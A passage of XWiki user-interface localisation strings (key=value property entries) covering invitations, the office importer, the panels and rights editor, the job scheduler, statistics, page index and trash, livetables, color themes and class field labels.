found.\nxe.invitation.doUserActionOnMultipleMessages.cancel.areYouSure.OneMessage=Are you sure you want to rescind this invitation?\nxe.invitation.doUserActionOnMultipleMessages.cancel.areYouSure.OneMessagePerGroup=Are you sure you want to rescind these {0} invitations?\nxe.invitation.doUserActionOnMultipleMessages.cancel.areYouSure.multipleMessagesMultipleGroups=Are you sure you want to rescind these {0} invitations to {1} recipients?", "xe.invitation.displayMessage.anAddressesIsInvalid=One of the given email addresses is invalid and will not receive a message.\nxe.invitation.displayMessage.someAddressesAreInvalid={0} of the given email addresses are invalid and will not receive a message.\nxe.invitation.displayMessage.theAddressIsInvalid=The email address given is invalid and will not receive a message.\nxe.invitation.displayForm.sendMail=Send Mail\nxe.invitation.displayForm.backToEdit=Back To Edit\nxe.invitation.displayForm.preview=Preview", "xe.invitation.tools.heading=Tools\nxe.invitation.tools.myInvitationsLink=My Invitations\nxe.invitation.tools.invitationsInGroup=Invitations in this Message Group\nxe.invitation.tools.invitationHistory=History of this Invitation\nxe.invitation.tools.senderLink=Send Invitations", "xe.invitation.adminTools.heading=Administrative Tools\nxe.invitation.adminTools.configureLink=Configure the Invitation Application\nxe.invitation.adminTools.allInvitationsLink=All Invitations", "xe.invitation.configuration.smtpHeading=SMTP Settings", "xe.invitation.setMessageStatus=Message status set to {0} by user {1}. Log: {2}\nxe.invitation.displayMessageHistory.messageStatusSetTo=Message status set to\nxe.invitation.displayMessageHistory.setByUser=By user\nxe.invitation.displayMessageHistory.logEntry=Log Entry\nxe.invitation.inspectMessages.lastEntryInfoBox={0} with message: {1}", "xe.invitation.messageStatus.unsent=Unsent\nxe.invitation.messageStatus.pending=Pending\nxe.invitation.messageStatus.accepted=Accepted\nxe.invitation.messageStatus.declined=Declined\nxe.invitation.messageStatus.canceled=Rescinded\nxe.invitation.messageStatus.reported=Reported as spam\nxe.invitation.messageStatus.investigated=Spam report investigated\nxe.invitation.messageStatus.unknown=Unknown status ({0})\nxe.invitation.messageStatus.sendingFailed=Failed to send message", "### Office importer application\nxe.officeimporter.notallowed=Guests are not allowed to view the contents of this page.\nxe.officeimporter.error.normaluser=This application requires an active Office Server which we could not locate. Please contact your administrator to resolve this issue.\nxe.officeimporter.error.adminuser=You need to setup an Office Server to make the Office Importer application available to your users. Please look at the Office Importer {0}documentation{1} for instructions on how to setup and configure an Office Server.\nxe.officeimporter.import.title=Office Importer\nxe.officeimporter.import.document=Document\nxe.officeimporter.import.target=Target\nxe.officeimporter.import.targetspace=Target space\nxe.officeimporter.import.targetpage=Target page\nxe.officeimporter.import.appendresult=Append result\nxe.officeimporter.import.styles=Styles\nxe.officeimporter.import.filterstyles=Filter styles\nxe.officeimporter.import.splitting=Splitting\nxe.officeimporter.import.splitting.splitdocument=Split document\nxe.officeimporter.import.splitting.headinglevels=Heading levels to split\nxe.officeimporter.import.splitting.heading=Heading\nxe.officeimporter.import.splitting.naming=Child pages naming method\nxe.officeimporter.import.splitting.naming.headingnames=Heading names\nxe.officeimporter.import.splitting.naming.mainpagenameandheading=Main page name and heading\nxe.officeimporter.import.splitting.naming.mainpagenameandnumbering=Main page name and numbering\nxe.officeimporter.import.import=Import\nxe.officeimporter.import.help.target=Key-in target space and page name. Select \"Append result\" to append the result to an existing wiki page.\nxe.officeimporter.import.help.styles=Select \"Filter styles\" to strip out unnecessary styling information from the result.\nxe.officeimporter.import.help.splitting=Document splitting allows creating multiple wiki pages from a single office document.\nxe.officeimporter.results.title=Office Importer Results\nxe.officeimporter.results.goback=Go back\nxe.officeimporter.results.missingfile=Missing input file. Please {0} and correct it.\nxe.officeimporter.results.result=result\nxe.officeimporter.results.success=Conversion succeeded. You can view the {0}, or you can {1} to convert another document.\nxe.officeimporter.openoffice.parameter=Parameter\nxe.officeimporter.openoffice.value=Value\nxe.officeimporter.openoffice.yes=Yes\nxe.officeimporter.openoffice.no=No\nxe.officeimporter.openoffice.servertype=Server type\nxe.officeimporter.openoffice.servertype.internal=Internally managed (local)\nxe.officeimporter.openoffice.servertype.external=Externally managed (local)\nxe.officeimporter.openoffice.servertype.remote=Externally managed (remote)\nxe.officeimporter.openoffice.serverport=Server port\nxe.officeimporter.openoffice.autostart=Auto start\nxe.officeimporter.openoffice.autoconnect=Auto connect\nxe.officeimporter.openoffice.serverpath=Server path\nxe.officeimporter.openoffice.serverprofile=Server profile\nxe.officeimporter.openoffice.serverprofile.default=Default profile\nxe.officeimporter.openoffice.serverstate=Server state\nxe.officeimporter.openoffice.actions=Actions\nxe.officeimporter.openoffice.actions.start=Start server (connect)\nxe.officeimporter.openoffice.actions.connect=Connect\nxe.officeimporter.openoffice.actions.stop=Stop server (disconnect)\nxe.officeimporter.openoffice.actions.disconnect=Disconnect\nxe.officeimporter.openoffice.actions.restart=Restart server\nxe.officeimporter.openoffice.update=Update\nxe.officeimporter.openoffice.limitedcontrol=The Office Server can only be controlled from the main wiki.\nplatform.office.importDocumentOverwriteConfirmation=The target document exists. Are you sure you want to overwrite its content?\noffice.configuration.serverpath.error.notSetNotAutodetected=Not set / Not autodetected", "### Panels application\nxe.panels.classedit.youare=You are editing\nxe.panels.classedit.chooseproperty=Choose a property to edit or add a property to the class.\nxe.panels.classedit.editother=Edit another class\nxe.panels.classedit.unsavedchanges=Unsaved changes will be lost when switching to another class.\nxe.panels.switchclass=Switch class\nxe.panels.create.panel=Create new panel:\nxe.panels.create.title=Panel Title\nxe.panels.rights.welcomeglobal=Welcome to the global rights editor.\nxe.panels.rights.space=Rights applied to a space replace rights applied to the whole wiki.\nxe.panels.rights.warning=Warning:\nxe.panels.rights.noauthentication=Without any authentication forcing and any rights specified a Wiki is public for viewing and editing by default.\nxe.panels.document.information=XWiki page information\nxe.panels.includedDocs.title=Included pages\nxe.panels.includedDocs.count={0,choice,0#No|1#One|1<{0}} included {0,choice,0#pages.|1#page:|1<pages:}\nxe.panels.last.members=Last Members\nxe.panels.members.name=Name\nxe.panels.members.photo=Photo\nxe.panels.members.viewall=View All\nxe.panels.modifications.my=My Recent Modifications\nxe.panels.navigation=Navigation\nxe.panels.new.itemType=Type of the item\nxe.panels.new.page=New Page (current space)\nxe.panels.new.space=New Space\nxe.panels.new.name=Name\nxe.panels.orphaned=Orphaned Pages\nxe.panels.wizard.savenew=Save\nxe.panels.wizard.revert=Reset\nxe.panels.wizard.homepage=Go to Panels\nxe.panels.edit=(Edit this panel)\nxe.panels.quicklinks=Quick Links\nxe.panels.quicklinks.dashboard=Dashboard\nxe.panels.quicklinks.index=Page Index\nxe.panels.quicklinks.sandbox=Sandbox\nxe.panels.quicklinks.userdirectory=User Index\nxe.panels.rights.welcome=Welcome to the rights editor.\nxe.panels.rights.explanation=Rights applied to a page replace rights applied to a space and rights applied to the whole wiki.\nxe.panels.rights.help=Rights editor help\nxe.panels.rights.users=Users\nxe.panels.rights.usersexplanation=This field should contain the wikiname of each user you want to apply the rights to. For example <em>XWiki.JohnDoe</em>. <em>XWiki.XWikiGuest</em> should be used for unidentified users.\nxe.panels.rights.groups=Groups\nxe.panels.rights.groupsexplanation=This field should contain the wikinames of groups you want to apply the rights to. <em>XWiki.XWikiAllGroup</em> represents the group of all logged-in users with an account on your Wiki.\nxe.panels.rights.groupsvirtualexplanation=<em>xwiki:XWiki.XWikiAllGroup</em> represents the group of all logged-in users using a global account.\nxe.panels.rights.accesslevels=Access levels\nxe.panels.rights.accesslevelsexplanation=This field should contain a list of access levels that you want to apply to the users and groups specified. Available access levels are: admin, programming, register, edit, view and comment. To protect your wiki in view and edit mode use \"view, edit\". To protect adding comments use \"comment\".\nxe.panels.rights.allowdeny=Allow/Deny\nxe.panels.rights.allowdenyexplanation=This field should contain <em>Allow</em> to specify that this is an allow right, and <em>Deny</em> to specify a deny right. An <em>allow</em> right means: \"this wiki, space or page is *only* visible or editable to the users or groups specified\".\nxe.panels.rights.openwiki=To open a Wiki for editing by the public:\nxe.panels.rights.opengroups=Groups: XWiki.XWikiAllGroup, xwiki:XWiki.XWikiAllGroup\nxe.panels.rights.openusers=Users: XWiki.XWikiGuest\nxe.panels.rights.openaccess=Access Levels: \"view, edit\" for a public Wiki for viewing and editing.\nxe.panels.rights.openallow=Allow/Deny: Allow\nxe.panels.rights.protectedwiki=To protect a Wiki or Space by allowing only logged-in users using an account created on your Wiki use:\nxe.panels.rights.protectedgroups=Groups: XWiki.XWikiAllGroup\nxe.panels.rights.protectedusers=Users:\nxe.panels.rights.protectedaccess=Access Levels: \"edit\" for a private wiki for editing, \"view, edit\" for a private Wiki for viewing and editing.\nxe.panels.rights.protectedallow=Allow/Deny: Allow\nxe.panels.rights.bannedgroup=To protect a Wiki or Space by disallowing banned users to edit pages use:\nxe.panels.rights.banedgroups=Groups: XWiki.XWikiBannedGroup\nxe.panels.rights.bannedusers=Users:\nxe.panels.rights.bannedaccess=Access Levels: \"edit\"\nxe.panels.rights.banneddeny=Allow/Deny: Deny\nxe.panels.rights.tips=Rights editor tips\nxe.panels.rights.publicwiki=Public wiki\nxe.panels.rights.authenticate=Authenticate on view/edit\nxe.panels.rights.banned=Banned users\nxe.panels.tagcloud.title=Tag Cloud\nxe.panels.shortcuts=Shortcuts\nxe.panels.spaces=Spaces\nxe.panels.syntax.help=XWiki Syntax Help\nxe.panels=Panels\nxe.panels.create=Create a new panel\nxe.panels.customize=You can customize the side column(s) using the\nxe.panels.welcome.xwiki=Welcome to this XWiki!", "### Scheduler application\nxe.scheduler.jobscheduled=Job {0} scheduled. Next fire time: {1}\nxe.scheduler.paused=Job {0} paused\nxe.scheduler.resumed=Job {0} resumed. Next fire time: {1}\nxe.scheduler.unscheduled=Job {0} unscheduled\nxe.scheduler.triggered=Job {0} triggered\nxe.scheduler=Job Scheduler\nxe.scheduler.welcome=Welcome to the Job Scheduler. This application allows you to create administration scripts that can be triggered periodically.\nxe.scheduler.jobs.list=List of existing jobs\nxe.scheduler.jobs.actions=Actions\nxe.scheduler.jobs.actions.access=Access:\nxe.scheduler.jobs.actions.view=View\nxe.scheduler.jobs.actions.edit=Edit\nxe.scheduler.jobs.actions.manage=Manage:\nxe.scheduler.jobs.actions.schedule=Schedule\nxe.scheduler.jobs.actions.pause=Pause\nxe.scheduler.jobs.actions.unschedule=Unschedule\nxe.scheduler.jobs.actions.resume=Resume\nxe.scheduler.jobs.actions.delete=Delete\nxe.scheduler.jobs.actions.trigger=Trigger\nxe.scheduler.jobs.next=Next Fire Time\nxe.scheduler.jobs.next.undefined=N/A\nxe.scheduler.jobs.status=Job Status\nxe.scheduler.jobs.name=Job Name\nxe.scheduler.job=Job\nxe.scheduler.jobs.create=Create a new job\nxe.scheduler.jobs.create.nameTip=Job name\nxe.scheduler.jobs.create.submit=Add\nxe.scheduler.jobs.explaincreate=Enter below the name of the page that will hold your job. The job will be created in the current Scheduler space.\nxe.scheduler.jobs.warning=Job creation is reserved for programmers and you don't have programming rights for the Scheduler space.\nxe.scheduler.jobs.pagename=Job page name\nxe.scheduler.job.scriptexplanation=The script is the code that will be executed when the job is triggered by the scheduler. It should be written in the Groovy language. The XWiki API is available through the **xwiki** and **context** pre-defined variables.\nxe.scheduler.job.backtolist=Back to the job list\nxe.scheduler.job.object=This sheet must be applied to a page that holds a scheduler job object.\nxe.scheduler.updateJobClassComment=Created/Updated Scheduler Job Class definition", "### Statistics application\nxe.statistics.activity=Activity Statistics\nxe.statistics.edits=Edits\nxe.statistics.views=Views\nxe.statistics.current.week=Current week activity\nxe.statistics.current.week.caps=Current Week Activity\nxe.statistics.current.month=Current month activity\nxe.statistics.current.month.caps=Current Month Activity\nxe.statistics.current.year=Current year activity\nxe.statistics.current.year.caps=Current Year Activity\nxe.statistics.alltime=All time activity\nxe.statistics.alltime.caps=All Time Activity\nxe.statistics.bestreferrers=Best Referrers\nxe.statistics.document=Page Statistics\nxe.statistics.contributors.leastactive=Least Active Contributors\nxe.statistics.homepage=statistics home page\nxe.statistics.disabled=The statistics module is disabled by default for improved performances. For more details, see {0}\nxe.statistics.notrecorded=No statistics recorded\nxe.statistics.referrer=Referrer\nxe.statistics.sources=Sources\nxe.statistics.user=User\nxe.statistics.changes=Changes\nxe.statistics.space=Space\nxe.statistics.hits=Hits\nxe.statistics.page=Page\nxe.statistics.contributors.mostactive=Most Active Contributors\nxe.statistics.pages.mostedited=Most Edited Pages\nxe.statistics.spaces.mostedited=Most Edited Spaces\nxe.statistics.pages.mostreferred=Most Referred Pages\nxe.statistics.pages.mostviewed=Most Viewed Pages\nxe.statistics.spaces.mostviewed=Most Viewed Spaces\nxe.statistics.referrerstats=Referrer Statistics\nxe.statistics.visit=Visit Statistics\nxe.statistics=Statistics\nxe.statistics.more=For more statistics, please give a look at:\nxe.statistics.module.disabled=The statistics module is disabled by default for improved performances.\nxe.statistics.to=to\nxe.statistics.module.settingvalue=It can be globally activated by setting the value of\nxe.statistics.inthe=in the\nxe.statistics.moredetails=configuration file. For more details, see\nxe.statistics.module.activating=Activating the statistics module makes the following information available to you:\nxe.statistics.module.muchmore=and much more!", "### Webdav application\nxe.webdav.initialize.activex=Could not initialize a required ActiveX object.\nxe.webdav.initialize.error=Error while initializing the share point editor.\nxe.webdav.install.foxwiki=A Firefox extension is required to perform this action, install it?\nxe.webdav.error=Ooops! Something went wrong... Please try again.\nxe.webdav.sorry=Sorry, to use this feature you need either Firefox or Internet Explorer.\nxe.webdav.info=This is a hosting page for webdav related functions.", "####################\n# Index Module\n####################", "platform.index.documents=Pages on this Wiki\nplatform.index=Index\nplatform.index.tree=Tree\nplatform.index.orphaned=Orphaned Pages\nplatform.index.orphanedResults=Orphaned Pages JSON Service\nplatform.index.attachments=Attachments\nplatform.index.attachmentsResults=Attachments JSON Service", "### Livetable Column Labels (translationPrefix == \"platform.index.\")\nplatform.index.doc.name=Page\nplatform.index.doc.location=Location\nplatform.index.doc.space=Space\nplatform.index.doc.date=Date\nplatform.index.doc.author=Last Author\nplatform.index.doc.title=Title\nplatform.index.doc.fullName=Page\nplatform.index.doc.objectCount=Object Count\nplatform.index._actions=Actions\nplatform.index.emptyvalue=\nplatform.index._likes=Likes", "### Livetable Column Labels (translationPrefix == \"platform.index.attachments.\")\nplatform.index.attachments.filename=Name\nplatform.index.attachments.doc.fullName=Location\nplatform.index.attachments.date=Date\nplatform.index.attachments.author=Author\nplatform.index.attachments.mimeType=Type\nplatform.index.attachments.filesize=Size\nplatform.index.attachments.emptyvalue=", "platform.index.documentsTrash=Deleted Pages\nplatform.index.trashDocumentsEmpty=No deleted pages", "### Livetable Column Labels (translationPrefix == \"platform.index.trashDocuments.\")\nplatform.index.trashDocuments.ddoc.fullName=Page\nplatform.index.trashDocuments.ddoc.title=Title\nplatform.index.trashDocuments.ddoc.date=Deleted on\nplatform.index.trashDocuments.ddoc.deleter=Deleted by\nplatform.index.trashDocuments.ddoc.batchId=Deleted Batch ID\nplatform.index.trashDocuments.actions=Actions", "platform.index.trashDocumentsActionsRestoreTooltip=Restore page\nplatform.index.trashDocumentsActionsRestoreText=[restore]\nplatform.index.trashDocumentsActionsCannotRestoreTooltip=The page cannot be restored to its original location because it has been recreated.\nplatform.index.trashDocumentsActionsCannotRestoreText=[cannot restore]\nplatform.index.trashDocumentsActionsCannotRestoreCausesOrphanedTranslationTooltip=The translation can not be restored to its original location before its original page is restored or re-created.\nplatform.index.trashDocumentsActionsDeleteTooltip=Permanently delete page\nplatform.index.trashDocumentsActionsDeleteText=[delete]\nplatform.index.trashDocumentsDeleteInProgress=Permanently deleting page...\nplatform.index.trashDocumentsDeleteDone=Page permanently deleted\nplatform.index.trashDocumentsDeleteFailed=Failed to delete:\nplatform.index.trashDocumentsDeleteInformation=Deleted by {0} on {1}", "platform.index.attachmentsTrash=Deleted Attachments\nplatform.index.trashAttachmentsEmpty=No deleted attachments", "### Livetable Column Labels (translationPrefix == \"platform.index.trashAttachments.\")\nplatform.index.trashAttachments.datt.filename=Attachment\nplatform.index.trashAttachments.datt.docName=Page\nplatform.index.trashAttachments.datt.date=Deleted on\nplatform.index.trashAttachments.datt.deleter=Deleted by\nplatform.index.trashAttachments.actions=Actions", "platform.index.trashAttachmentsActionsRestoreTooltip=Restore attachment\nplatform.index.trashAttachmentsActionsRestoreText=[restore]\nplatform.index.trashAttachmentsActionsCannotRestoreTooltip=The attachment cannot be restored to its original location because another file with the same name has been attached.\nplatform.index.trashAttachmentsActionsCannotRestoreText=[cannot restore]\nplatform.index.trashAttachmentsActionsDeleteTooltip=Permanently delete attachment\nplatform.index.trashAttachmentsActionsDeleteText=[delete]\nplatform.index.trashAttachmentsDeleteInProgress=Permanently deleting attachment...\nplatform.index.trashAttachmentsDeleteDone=Attachment permanently deleted\nplatform.index.trashAttachmentsDeleteFailed=Failed to delete:", "### Space Index Page\nplatform.index.spaceIndex=Space Index\nplatform.index.spaceIndexDescription=Pages in the {0} space:\nplatform.index.spaceIndexDocumentListCreate=Create a new page", "####################\n# Livetable Module\n####################", "platform.livetable.results=Livetable Results\nplatform.livetable.resultsMacros=Livetable Results Macros\nplatform.livetable._actions.delete=delete\nplatform.livetable._actions.rename=rename\nplatform.livetable._actions.rights=rights\nplatform.livetable._actions.copy=copy\nplatform.livetable._actions.edit=edit\nplatform.livetable.asyncActionInProgress=In progress...\nplatform.livetable.asyncActionDone=Done\nplatform.livetable.asyncActionFailed=Failed\nplatform.livetable.filtersTitle=Filter for the {0} column\nplatform.livetable.loading=Loading...\nplatform.livetable.tagsHelp=Click on one or more tags to filter the list\nplatform.livetable.tagsHelpCancel=and click again on a tag to cancel the filter\nplatform.livetable.environmentCannotLoadTableMessage=The environment prevents the table from loading data.\nplatform.livetable.docTitleComputedHint=Some pages have a computed title. Filtering and sorting by title will not work as expected for these pages.\nplatform.livetable.pagesizeLabel=per page of\nplatform.livetable.selectAll=All\nplatform.livetable.paginationPage=Page\nplatform.livetable.paginationPageTitle=Go to page {0}\nplatform.livetable.paginationPagePrevious=&#171; previous page\nplatform.livetable.paginationPagePrevTitle=Previous Page\nplatform.livetable.paginationPageNext=next page &#187;\nplatform.livetable.paginationPageNextTitle=Next Page\nplatform.livetable.paginationResultsNone=No results\nplatform.livetable.paginationResultsOne=One result\nplatform.livetable.paginationResultsSingle=Result <span class=\"currentResultsNo\">{0}</span> of <span class=\"totalResultsNo\">{1}</span>\nplatform.livetable.paginationResultsMany=Results <span class=\"currentResultsNo\">{0} - {1}</span> of <span class=\"totalResultsNo\">{2}</span>\nplatform.livetable.paginationResults=Results\nplatform.livetable.paginationResultsOf=out of", "####################\n# Daterange picker\n####################", "daterange.apply=Apply\ndaterange.clear=Clear\ndaterange.customRange=Custom Range\ndaterange.from=From\ndaterange.to=To\ndaterange.today=Today\ndaterange.yesterday=Yesterday\ndaterange.lastSevenDays=Last 7 Days\ndaterange.lastThirtyDays=Last 30 Days\ndaterange.thisMonth=This Month\ndaterange.lastMonth=Last Month", "####################\n# XWiki Enterprise Module\n####################", "xe.document.copy=Copy a page\nxe.document.copying=Copying page {0} to {1}\nxe.document.copy.source=Source Page:\nxe.document.copy.target=Target Page:\nxe.document.copy.language=Language:\nxe.document.copy.do=Copy", "### Color themes\nxe.themes.current=Current theme\nxe.themes.others=Other available themes\nxe.themes.useTheme=Use this theme\nxe.themes.themeSet=Color theme set to {0}.\nxe.themes.create=Create new theme\nxe.themes.create.nameLabel=Theme name:\nxe.themes.create.nameTip=Theme name...\n### Page titles\nxe.themes.colors.title=Color Themes\nxe.themes.colors.sheet.title=Sheet for color themes\nxe.themes.colors.class.title=Class for defining skin color themes\nxe.themes.colors.template.title=Template page for skin color themes\nxe.themes.colors.mapping.title=Color theme wizard property mapping\nxe.themes.colors.webColors.title=Default color palette for the scriptless wizard\n### Wizard\nxe.themes.colors.wizard.choose=Choose\nxe.themes.colors.wizard.mainMenu=Main Menu\nxe.themes.colors.wizard.logo=Wiki Logo\nxe.themes.colors.wizard.panel=Panel\nxe.themes.colors.wizard.panel.text=Panel Text\nxe.themes.colors.wizard.panel.link=Panel Link\nxe.themes.colors.wizard.panel.collapsed=Collapsed Panel\nxe.themes.colors.wizard.menu=Content Menu\nxe.themes.colors.wizard.menuEntry=entry\nxe.themes.colors.wizard.title=Title\nxe.themes.colors.wizard.informativeText=Informative Text\nxe.themes.colors.wizard.detailsText=Details Text\nxe.themes.colors.wizard.text=Content Text\nxe.themes.colors.wizard.link=Content Link\nxe.themes.colors.wizard.highlightedText=Highlighted Text\nxe.themes.colors.wizard.messageBox=Message Box\nxe.themes.colors.wizard.table=Table\nxe.themes.colors.wizard.table.data=data\nxe.themes.colors.wizard.button=Button\nxe.themes.colors.wizard.secondaryButton=Secondary action button\nxe.themes.colors.wizard.tab=tab\nxe.themes.colors.wizard.tab.text=Text\nxe.themes.colors.wizard.reset=Reset\nxe.themes.colors.wizard.close=Close\nxe.themes.colors.wizard.undo=Undo", "xe.xwiki.administration=Administration application\nxe.xwiki.administration.install=This page and its children contain internal content used by XWiki for its own use. It also currently contains the User Profile pages. You can administer your wiki through the {0}.", "### Monitor\nxe.monitor=XWiki Requests Status\nxe.monitor.url=URL:\nxe.monitor.startdate=StartDate:\nxe.monitor.state=State:\nxe.monitor.alive=Alive:\nxe.monitor.interrupt=Interrupting\nxe.monitor.consolidateddata=Consolidated Data\nxe.monitor.duration=Duration:\nxe.monitor.requests=Requests:\nxe.monitor.duration.small=duration:\nxe.monitor.calls=Calls:\nxe.monitor.average=Average:\nxe.monitor.ms=ms\nxe.monitor.requests.active=Active requests\nxe.monitor.requests.currentlyrunning=Currently running requests. There is always at least the request for this page.\nxe.monitor.requests.size=Active requests size:\nxe.monitor.requests.page=Page:\nxe.monitor.thread=Thread:\nxe.monitor.requests.unfinished=Latest unfinished requests\nxe.monitor.requests.unfinished.description=These are requests that didn't reach \"endRequest\", but where cleaned-up by a reuse of threads. Maximum 32 requests are kept in memory.\nxe.monitor.requests.active.size=Active requests size:\nxe.monitor.requests.latest=Latest requests\nxe.monitor.requests.latest.description=Latest requests that finished properly. Only {0} requests max are kept in memory.\nxe.monitor.enddate=EndDate:\nxe.monitor.requests.number=Number of requests displayed:\nxe.monitor.disabled=The Monitor plugin is disabled. Please enable it by setting <tt>xwiki.monitor=1</tt> in your <tt>xwiki.cfg</tt> configuration file.", "xe.templateprovider.name=Provider Name\nxe.templateprovider.name.example=Example: My Template Provider\nxe.templateprovider.templatename=Template Name\nxe.templateprovider.templatename.example=Example: My Template\nxe.templateprovider.templatename.info=You can fill in a translation key to allow internationalization of this template name.\nxe.templateprovider.template=Template to use\nxe.templateprovider.template.edit=Edit\nxe.templateprovider.template.example=Example: XWiki.MyTemplate\nxe.templateprovider.spaces=List of locations where the template must be available\nxe.templateprovider.spaces.all=The template is available from any location\nxe.templateprovider.spaces.info=If no location is selected, the template will be available from any location\nxe.templateprovider.backtoadmin=See all templates\nxe.templateprovider.action=Action on create\nxe.templateprovider.action.info=The action to execute when the create button is pushed, you can configure here whether the new page is saved before it is opened for edition or not.\nxe.templateprovider.terminal=Terminal Page\nxe.templateprovider.terminal.hint=Whether or not to create terminal documents by default when using this template provider.", "xe.welcome.edit=Edit welcome message", "XWiki.TemplateProviderClass_type_page=Page\nXWiki.TemplateProviderClass_type_space=Space homepage\nXWiki.TemplateProviderClass_action_edit=Edit\nXWiki.TemplateProviderClass_action_saveandedit=Save and Edit\nXWiki.TemplateProviderClass_action_saveandview=Save and View", "admin.templates=Page Templates\nadmin.templates.description=Settings for the creation of page templates.\nadmin.templates.providerslist=Available Template Providers\nadmin.templates.createprovider=Create a Template Provider\nadmin.templates.createprovider.space=Space:\nadmin.templates.createprovider.page=Page:\nadmin.templates.createprovider.defaultdocname=MyTemplateProvider\nadmin.templates.createprovider.create=Create", "####################\n# XWiki Classes\n####################", "### Blog.BlogClass (blog application)\nBlog.BlogClass_title=Blog title\nBlog.BlogClass_description=Description\nBlog.BlogClass_displayType=Index display\nBlog.BlogClass_itemsPerPage=Items per page (only in the Paginated display mode)\nBlog.BlogClass_blogType=Blog type\nBlog.BlogClass_blogType_local=Space blog (aggregates posts from its space only)\nBlog.BlogClass_blogType_global=Global blog (aggregates posts from the entire wiki)\nBlog.BlogPostClass_displayType_paginated=Paginated\nBlog.BlogPostClass_displayType_weekly=Group posts weekly\nBlog.BlogPostClass_displayType_monthly=Group posts monthly\nBlog.BlogPostClass_displayType_all=Show all posts\nBlog.BlogPostClass_title=Title\nBlog.BlogPostClass_content=Content\nBlog.BlogPostClass_extract=Extract\nBlog.BlogPostClass_category=Category\nBlog.BlogPostClass_hidden=Is hidden\nBlog.BlogPostClass_published=Is published\nBlog.BlogPostClass_publishDate=Publish date\nBlog.CategoryClass_name=Name\nBlog.CategoryClass_description=Description", "### Panels.PanelClass (panel application)\nPanels.PanelClass_name=Name\nPanels.PanelClass_type=Panel type\nPanels.PanelClass_description=Description\nPanels.PanelClass_content=Content\nPanels.PanelClass_category=Category\nPanels.PanelClass_async_enabled=Asynchronous rendering\nPanels.PanelClass_async_cached=Cached\nPanels.PanelClass_async_context=Context elements", "### XWiki.AggregatorURLClass (watch application)\nXWiki.AggregatorURLClass_name=Name\nXWiki.AggregatorURLClass_url=URL\nXWiki.AggregatorURLClass_imgurl=Image URL\nXWiki.AggregatorURLClass_date=date\nXWiki.AggregatorURLClass_nb=nb", "### XWiki.FeedEntryClass (watch application)\nXWiki.FeedEntryClass_title=Title\nXWiki.FeedEntryClass_author=Author\nXWiki.FeedEntryClass_feedurl=Feed URL\nXWiki.FeedEntryClass_feedname=Feed Name\nXWiki.FeedEntryClass_url=URL\nXWiki.FeedEntryClass_category=Category\nXWiki.FeedEntryClass_content=Content\nXWiki.FeedEntryClass_fullContent=Full Content\nXWiki.FeedEntryClass_xml=XML\nXWiki.FeedEntryClass_date=Date\nXWiki.FeedEntryClass_flag=Flag\nXWiki.FeedEntryClass_read=Read\nXWiki.FeedEntryClass_tags=Tags", "### XWiki.JavaScriptExtension (skinx plugin)\nXWiki.JavaScriptExtension_name=Name\nXWiki.JavaScriptExtension_code=Code\nXWiki.JavaScriptExtension_use=Use this extension\nXWiki.JavaScriptExtension_parse=Parse content\nXWiki.JavaScriptExtension_cache=Caching policy", "### XWiki.MessageStreamConfig (XE)\nXWiki.MessageStreamConfig_active=Enable the message stream\nXWiki.MessageStreamConfig_active.hint=Whether the message stream is active or not.\nXWiki.MessageStreamConfig_visibilityLevel_everyone=Everyone\nXWiki.MessageStreamConfig_visibilityLevel_followers=Followers\nXWiki.MessageStreamConfig_visibilityLevel_group=Group\nXWiki.MessageStreamConfig_visibilityLevel_user=User", "### XWiki.StyleSheetExtension (skinx plugin)\nXWiki.StyleSheetExtension_name=Name\nXWiki.StyleSheetExtension_code=Code\nXWiki.StyleSheetExtension_use=Use this extension\nXWiki.StyleSheetExtension_parse=Parse content\nXWiki.StyleSheetExtension_cache=Caching policy", "### XWiki.Mail (mailsender plugin)\nXWiki.Mail_subject=Subject\nXWiki.Mail_language=Language\nXWiki.Mail_text=Text\nXWiki.Mail_html=HTML", "### XWiki.ResetPasswordRequestClass (administration application)\nXWiki.ResetPasswordRequestClass_verification=Request verification string", "### XWiki.SchedulerJobClass (scheduler plugin)\nXWiki.SchedulerJobClass_jobName=Job Name\nXWiki.SchedulerJobClass_jobClass=Job Class\nXWiki.SchedulerJobClass_status=Status\nXWiki.SchedulerJobClass_cron=Cron Expression\nXWiki.SchedulerJobClass_script=Job Script\nXWiki.SchedulerJobClass_jobDescription=Job Description", "### XWiki.TagClass (core)\nXWiki.TagClass_tags=Tags", "### XWiki.WatchListClass (watchlist plugin)\nXWiki.WatchListClass_interval=Email notifications interval\nXWiki.WatchListClass_spaces=Space list, comma separated\nXWiki.WatchListClass_documents=Page list, comma separated\nXWiki.WatchListClass_query=Query (HQL)\nXWiki.WatchListClass_automaticwatch=Automatic page watching\nXWiki.WatchListClass_automaticwatch_default=Default\nXWiki.WatchListClass_automaticwatch_NONE=Disabled\nXWiki.WatchListClass_automaticwatch_ALL=Any modification\nXWiki.WatchListClass_automaticwatch_MAJOR=Major modifications\nXWiki.WatchListClass_automaticwatch_NEW=New pages", "### XWiki.XWikiComments (core)\nXWiki.XWikiComments_author=Author\nXWiki.XWikiComments_highlight=Highlighted Text\nXWiki.XWikiComments_date=Date\nXWiki.XWikiComments_comment=Comment\nXWiki.XWikiComments_replyto=Reply To", "### XWiki.XWikiGlobalRights (core)\nXWiki.XWikiGlobalRights_allow=Allow/Deny\nXWiki.XWikiGlobalRights_groups=Groups\nXWiki.XWikiGlobalRights_levels=Levels\nXWiki.XWikiGlobalRights_users=Users", "### XWiki.XWikiGroups (core)\nXWiki.XWikiGroups_member=Member", "### XWiki.XWikiPreferences (core)\nXWiki.XWikiPreferences_skin=Skin\nXWiki.XWikiPreferences_colorTheme=Color theme\nXWiki.XWikiPreferences_accessibility=Enable extra accessibility features\nXWiki.XWikiPreferences_authenticate_view=Authenticated View\nXWiki.XWikiPreferences_webcopyright=Copyright\nXWiki.XWikiPreferences_plugins=Plugins\nXWiki.XWikiPreferences_authenticate_edit=Authenticate On Edit\nXWiki.XWikiPreferences_meta=HTTP Meta Info\nXWiki.XWikiPreferences_title=Title\nXWiki.XWikiPreferences_version=Version\nXWiki.XWikiPreferences_validation_email_content=Validation email Content\nXWiki.XWikiPreferences_confirmation_email_content=Confirmation email Content\nXWiki.XWikiPreferences_stylesheet=Stylesheet\nXWiki.XWikiPreferences_stylesheets=Stylesheets\nXWiki.XWikiPreferences_multilingual=Multilingual\nXWiki.XWikiPreferences_default_language=Default Language\nXWiki.XWikiPreferences_editor=Default Editor\nXWiki.XWikiPreferences_core.defaultDocumentSyntax=Default page syntax\nXWiki.XWikiPreferences_use_email_verification=Use email 